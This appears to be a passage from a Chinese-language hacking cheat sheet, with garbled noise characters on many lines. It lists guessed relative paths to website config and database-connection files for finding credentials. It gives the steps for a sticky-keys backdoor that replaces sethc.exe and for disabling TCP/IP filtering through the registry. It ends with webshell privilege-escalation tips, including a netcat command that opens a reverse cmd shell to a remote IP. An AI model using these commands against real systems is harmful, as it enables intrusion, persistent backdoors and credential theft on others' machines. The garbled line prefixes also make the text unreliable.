C:\Program Files\FlashFXP\flashfxp.exe
% B) F9 y. U" `c:\Program Files\Oracle\bin\regsvr32.exe
  K8 S. V3 s5 p0 f6 `5 i+ yc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
5 [* Q6 A! [; x/ x& V$ w, [c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
0 d1 t7 l; Q% w9 [) V, _
2 f$ X3 B) c- w6 f3.网站相对路径:
8 b$ q) ]: Z) E$ y& W
$ [4 o% \' H2 I4 q- _8 Q6 P/config.php
8 J2 ^% \' L# T+ K) r6 f& @+ ?../../config.php
; I6 M3 }2 X* Q' ?6 b- q- s../config.php
2 V+ U/ P' p& z; c6 h7 ~../../../config.php
. D; y+ O8 d% {/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
; N" d; f7 n3 R../../../config.inc.php
9 `  b! n4 a, c. e, S/conn.php
" l  |7 k1 i- X6 a./conn.php
../../conn.php
$ Z( q' |" T: W# X) b: [../conn.php
../../../conn.php
/conn.asp
, e% k7 J4 h3 j./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
( s1 [( M/ y: r) _../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
: c% \1 w: d* n. |6 X3 Z& h/config/config.inc.php
- p6 I! L% @$ u7 {; I1 R  P./config/config.inc.php
- H% C8 X' m2 H- x/ W../../config/config.inc.php
../config/config.inc.php
4 t4 @8 b! z6 ^6 k' u../../../config/config.inc.php
' h& d; T" o* `$ a/config/conn.php
: V9 ^: U% P' W. ]9 x. b./config/conn.php
: D4 V9 [5 O! _../../config/conn.php
../config/conn.php
+ `8 I& t' x" ~* `) d7 X../../../config/conn.php
/config/conn.asp
2 s& r6 U3 s: l1 w  ?./config/conn.asp
- ^4 {+ \' w5 M' E../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
2 Y' f$ z  Q( |( `0 G./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
' d! Y! O1 n, d& T. p7 X. r/data/config.php
../../data/config.php
2 o; z7 J3 t: I6 a../data/config.php
+ y, t/ }  S" h8 _6 |0 L../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
# S6 J& D* k# h" C; K4 G/data/conn.php
./data/conn.php
/ C" a% `, D; e6 r3 q0 }../../data/conn.php
../data/conn.php
/ \- `+ l: O' [& C  n../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
: S' p; @5 Y; g- h6 y! z../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
/ f( O1 Q4 g( ?0 c' P6 N../../data/config.inc.php
  F" T) T  q- h+ y../data/config.inc.php
../../../data/config.inc.php
  Z3 l' d  u9 C+ |! u/include/config.php
, s- @- }0 C' g- H% n../../include/config.php
../include/config.php
../../../include/config.php
% A% x' q- ?5 M( D/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
6 o( t% N$ E( {& b" v9 i../../../include/config.inc.php
/include/conn.php
./include/conn.php
) \8 `5 `; H6 T/ c$ c../../include/conn.php
3 q, Q- @: b" A/ b9 U9 d../include/conn.php
../../../include/conn.php
- x6 y' Z9 T% @' v- C/include/conn.asp
./include/conn.asp
../../include/conn.asp
0 \" i( R/ L9 u, h../include/conn.asp
../../../include/conn.asp
- J- p' I* {. _) k  Y0 I/include/config.inc.php
./include/config.inc.php
5 u" E% ]" M2 L../../include/config.inc.php
../include/config.inc.php
5 r" e$ ~4 @% J, G, u9 @) T) c../../../include/config.inc.php
/inc/config.php
( t* r& c1 o6 H../../inc/config.php
, P2 Q" E* E; Q, L4 }../inc/config.php
../../../inc/config.php
/inc/config.inc.php
' }3 |" }" ^) I3 L* {./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
; K3 i4 h0 q; f* a9 O. Q7 W/inc/conn.php
./inc/conn.php
( Q. I/ v: T5 \1 B$ M( a9 f../../inc/conn.php
../inc/conn.php
6 u2 P3 L! ~5 p# w% L/ A../../../inc/conn.php
/inc/conn.asp
$ @/ S* m! d9 u./inc/conn.asp
" f, Q- Z  S6 C; h0 [* T6 g../../inc/conn.asp
5 i& q% m4 }( C1 A' }../inc/conn.asp
../../../inc/conn.asp
& _0 V* F$ T. \7 Y  b7 O* g1 g: h/inc/config.inc.php
./inc/config.inc.php
+ ^0 \: h" C7 U  N0 _../../inc/config.inc.php
../inc/config.inc.php
# J/ n  {% F* S- q4 A% ^; U/ H../../../inc/config.inc.php
  g3 v5 U5 d6 ^/index.php
6 Z0 M  q! B8 y9 b. B6 M% I./index.php
../../index.php
../index.php
. b# q; P, `+ ~1 G../../../index.php
/index.asp
./index.asp
../../index.asp
../index.asp
../../../index.asp
  ^: n2 \3 e9 k* L; d- G替换SHIFT后门
$ U3 u% c3 i, ]8 ?5 T. D　attrib c:\windows\system32\sethc.exe -h -r -s
# K# i" f' p8 H
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
# \7 M  e; q/ E
　　del c:\windows\system32\sethc.exe
9 @- I3 t$ \" W* C% S  t
% S$ k% b9 J( w5 |. {　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

3 h2 ~: d  @: b- z- I3 t6 v　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

: b: T( o$ @3 b, l0 W8 R, Y: Z% z# z　　attrib c:\windows\system32\sethc.exe +h +r +s

1 |: r8 I) j/ U" N7 p# `1 L4 f( A　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
1 S: H; {  l9 j- L$ v' b去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
( C5 L; ]: }/ o% C! g" DHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
& l: m! C$ q- `' C) Y) D7 KHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ ]; b& B) P3 s9 }- F# L
分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
& ^% ~1 s; |1 @5 @regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
$ M+ B& A; P8 Z/ K4 d6 X8 y命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

4 W6 C. Y" G' R# g  e7 @再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
1 t! j) L" `# l
webshell提权小技巧
% j- K- _) p& z! K6 p* [& scmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
+ V& ~9 X4 j' j
+ `1 j* u8 S3 i; B$ O+ F而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
9 Q$ q4 Y5 {8 }# q- U+ e却能成功。。
这个不是重点
) f, N* Y+ w& J我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功